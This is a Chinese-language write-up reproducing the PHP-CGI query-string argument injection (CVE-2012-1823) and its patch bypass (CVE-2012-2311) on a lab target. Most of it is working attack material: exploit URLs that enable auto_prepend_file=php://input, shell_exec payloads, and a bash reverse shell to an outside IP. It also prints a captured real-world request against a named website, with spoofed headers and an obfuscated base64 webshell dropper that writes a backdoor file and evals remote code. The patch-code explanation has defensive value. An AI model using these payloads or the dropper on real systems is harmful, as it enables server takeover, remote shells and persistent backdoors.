phpcgi 代码执行 (CVE-2012-1823)
通过阅读源码,发现cgi模式下通过可控命令行参数有如下一些参数可用:
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助
访问下边页面 返回源码 说明存在该漏洞
ip:port/index.php/?-s
0x01 漏洞描述
CGI全称是“通用网关接口”(Common Gateway Interface), 它可以让一个客户端,从网页浏览器向执行在Web服务器上的程序请求数据 这个漏洞简单来说,就是用户请求的querystring(querystring字面上的意思就是查询字符串,一般是对http请求所带的数据进行解析,这里也是只http请求中所带的数据)被作为了php-cgi的参数,最终导致了一系列结果。
0x02 影响范围
php-5.3.12 以下
0x03 漏洞复现
(1) 访问靶场主页
http://118.193.36.37:46102/index.html
(2)访问 /index.php
http://118.193.36.37:46102/index.php
(3) 访问下边页面 返回源码 说明存在该漏洞
http://118.193.36.37:46102/index.php/?-s
存在该漏洞
任意代码执行
访问下边网址burp 抓包
http://118.193.36.37:46102/index.php/?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
post请求体如下
<?php echo shell_exec("id"); ?>
执行成功
ls /tmp
<?php echo shell_exec("ls /tmp"); ?>
反弹shell
<?php echo shell_exec("bash -i >& /dev/tcp/119.29.67.4/9897 0>&1"); ?>
失败 可能 权限不足
0x04 漏洞修复
漏洞修复参考 https://www.cnblogs.com/riginal/p/11314565.html
CVE-2012-2311
这个漏洞被爆出来以后,PHP官方对其进行了修补,发布了新版本5.4.2及5.3.12,但这个修复是不完全的,可以被绕过,进而衍生出CVE-2012-2311漏洞。
PHP的修复方法是对-进行了检查:
if(query_string = getenv("QUERY_STRING")) {
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
skip_getopt = 1;
}
free(decoded_query_string);
}
可见,获取querystring后进行解码,如果第一个字符是-则设置skip_getopt,也就是不要获取命令行参数。
这个修复方法不安全的地方在于,如果运维对php-cgi进行了一层封装的情况下:
#!/bin/sh
exec /usr/local/bin/php-cgi $*
通过使用空白符加-的方式,也能传入参数。这时候querystring的第一个字符就是空白符而不是-了,绕过了上述检查。
于是,php5.4.3和php5.3.13中继续进行修改:
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
/* we've got query string that has no = - apache CGI will pass it to command line */
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
for (p = decoded_query_string; *p && *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {
skip_getopt = 1;
}
free(decoded_query_string);
}
先跳过所有空白符(小于等于空格的所有字符),再判断第一个字符是否是-。
数据包:
POST /?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
X-Forwarded-For: 90.178.234.124
Client-IP: 90.178.234.124
REMOTE_ADDR: 90.178.234.124
Accept: text/html, application/xhtml+xml, */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html
Referer: http://www.hntrnp.com/?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
Host: www.hntrnp.com
Content-Length: 838
<?php
echo md5(niubi);
fputs(fopen('niubi.php', w) , base64_decode('PD9waHAKJHBhc3N3b3JkPSdweXRob24nOyRiPSJjaHIiO3Nlc3Npb25fc3RhcnQoKTtpZihlbXB0eSgkX1NFU1NJT05bJ1BocENvZGUnXSkpeyRkPSRiKDEwNCkuJGIoMTE2KS4kYigxMTYpLiRiKDExMikuJGIoNTgpLiRiKDQ3KS4kYig0NykuJGIoNTcpLiRiKDU0KS4kYig1NCkuJGIoNDkpLiRiKDQ2KS4kYigxMDUpLiRiKDExMCkuJGIoNDcpLiRiKDExMikuJGIoMTA0KS4kYigxMTIpLiRiKDQ3KS4kYigxMTIpLiRiKDEwNCkuJGIoMTEyKS4kYig0NikuJGIoMTAzKS4kYigxMDUpLiRiKDEwMik7JGU9JGIoMTAyKS4kYigxMDUpLiRiKDEwOCkuJGIoMTAxKS4kYig5NSk7JGUuPSRiKDEwMykuJGIoMTAxKS4kYigxMTYpLiRiKDk1KS4kYig5OSk7JGUuPSRiKDExMSkuJGIoMTEwKS4kYigxMTYpLiRiKDEwMSkuJGIoMTEwKTskZS49JGIoMTE2KS4kYigxMTUpOyRfU0VTU0lPTlsnUGhwQ29kZSddPSRlKCRkKTt9JGY9JGIoMTAzKS4kYigxMjIpLiRiKDEwNSkuJGIoMTEwKTskZi49JGIoMTAyKS4kYigxMDgpLiRiKDk3KS4kYigxMTYpLiRiKDEwMSk7QGV2YWwoJGYoJF9TRVNTSU9OWydQaHBDb2RlJ10pKTs='));
?>